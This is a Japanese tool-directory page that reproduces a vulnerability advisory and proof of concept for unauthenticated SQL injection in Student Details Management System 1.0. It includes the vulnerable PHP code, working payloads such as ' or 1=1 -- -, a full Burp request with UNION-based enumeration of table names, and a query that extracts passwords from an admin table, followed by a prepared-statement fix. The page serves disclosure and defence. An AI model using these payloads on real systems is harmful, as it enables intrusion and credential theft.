Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/xmyronn/cve-2026-10110-sqli
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストデータベースセキュリティ
GitHubxmyronn/cve-2026-10110-sqli

CVE-2026-10110-SQLi

Student Details Management System 1.0における未認証SQLインジェクションの概念実証であり、UNIONベースのデータ抽出と認証情報の窃取を実証します。

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Student Details Management System 1.0 - SQLインジェクション(認証不要)

脆弱性情報

フィールド詳細
製品名Student Details Management System
ベンダーcode-projects.org
バージョン1.0
脆弱性タイプSQLインジェクション(CWE-89)
CVE ID未確定
CVSSスコア9.8 Critical(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
認証要件不要
影響を受けるファイル/SMS/index.php
脆弱性パラメータroll(POST)

説明

Student Details Management System 1.0 の index.php ファイルには、深刻なSQLインジェクションの脆弱性が存在します。POSTリクエストで渡される roll パラメータは、サニタイズ、入力検証、プリペアドステートメントの使用なしに、そのまま生のSQLクエリに連結されます。これにより、認証されていないリモート攻撃者が任意のSQLを注入し、UNIONベースのデータ抽出を実行して、資格情報テーブルを含むデータベースサーバー全体をダンプすることが可能になります。

この脆弱性は、認証が一切不要な公開の学生検索フォームに存在します。


脆弱なコード

ファイル: index.php(51〜59行目)

root@kitploit:~
include('dbcon.php');
if (isset($_POST['show'])) {

    $Standard = $_POST['standard'];
    $RollNo = $_POST['roll'];

    $sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";

    $result = mysqli_query($conn,$sql);

$Standard と $RollNo はどちらも $_POST から直接取得され、エスケープやパラメータ化は一切行われていません。攻撃者は roll パラメータを制御してSQL文字列コンテキストから抜け出し、任意のクエリを注入することができます。


概念実証

ステップ1 — 正常な動作の確認

アプリケーションのホームページに移動し、有効なロール番号を入力します:

root@kitploit:~
http://<TARGET>/SMS/index.php

ロール番号フィールドに 1001 を入力 → アプリケーションは通常通り学生レコードを返します。

Screenshot 2026-05-03 220510

ステップ2 — SQLエラーの発生(インジェクションポイントの確認)

ロール番号フィールドにシングルクォート ' を入力し、SHOW INFO をクリックします。

結果: MariaDBが致命的なエラーをスローし、生のSQLクエリとファイルパスが露出します:

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '"' at line 1 in 
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59
Screenshot 2026-05-03 220533

ステップ3 — 認証バイパス/全テーブルダンプ

ペイロード:

root@kitploit:~
' or 1=1 -- -

結果: 有効なロール番号なしでデータベース内のすべての学生レコードが返され、インジェクションが悪用可能であることが確認されます。

Screenshot 2026-05-03 220550

ステップ4 — UNIONベースの抽出(データベース全体の列挙)

Burp Suiteリクエスト:

root@kitploit:~
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded

roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO

結果: name カラム(UNION内の3番目の位置)が、MySQLインスタンス上のすべてのデータベースにわたるすべてのテーブル名を反映します — これには admin、global_priv、users、mysql.user および同じXAMPPインスタンスにインストールされた他の複数のアプリケーションの資格情報テーブルが含まれます。

Screenshot 2026-05-03 220606

ステップ5 — 権限昇格の経路

ダンプにより、同じサーバー上の他のデータベースから admin、users、global_priv、tbl_admin などの機密テーブルが明らかになります。攻撃者は以下の方法で資格情報を抽出できます:

root@kitploit:~
roll=1' union select null,null,password,null,null,null,null from admin-- -

ステップ2の詳細なエラー出力と組み合わせることで、完全なファイルパスの開示も確認されます:

root@kitploit:~
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php

影響

  • サーバー上のすべてのデータベースにわたる完全なデータベース列挙(対象アプリのみに限定されない)
  • admin テーブルのダンプによる管理者資格情報の抽出
  • 詳細なSQLエラー出力による完全なパス開示
  • 認証不要 — 検索ページへの認証されていない訪問者なら誰でも悪用可能
  • 同じMySQLインスタンスを共有する他のアプリケーションへの権限昇格の可能性

修正方法

バインドパラメータを使用したプリペアドステートメントを使用します:

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();

さらに、本番環境では php.ini で display_errors = Off を設定し、詳細なPHP/MySQLエラー出力を無効にします。


参考情報

  • ベンダーホームページ
  • CWE-89: SQLインジェクション
  • OWASP SQLインジェクション

発見者

研究者: Imad Alvi

ツールをダウンロード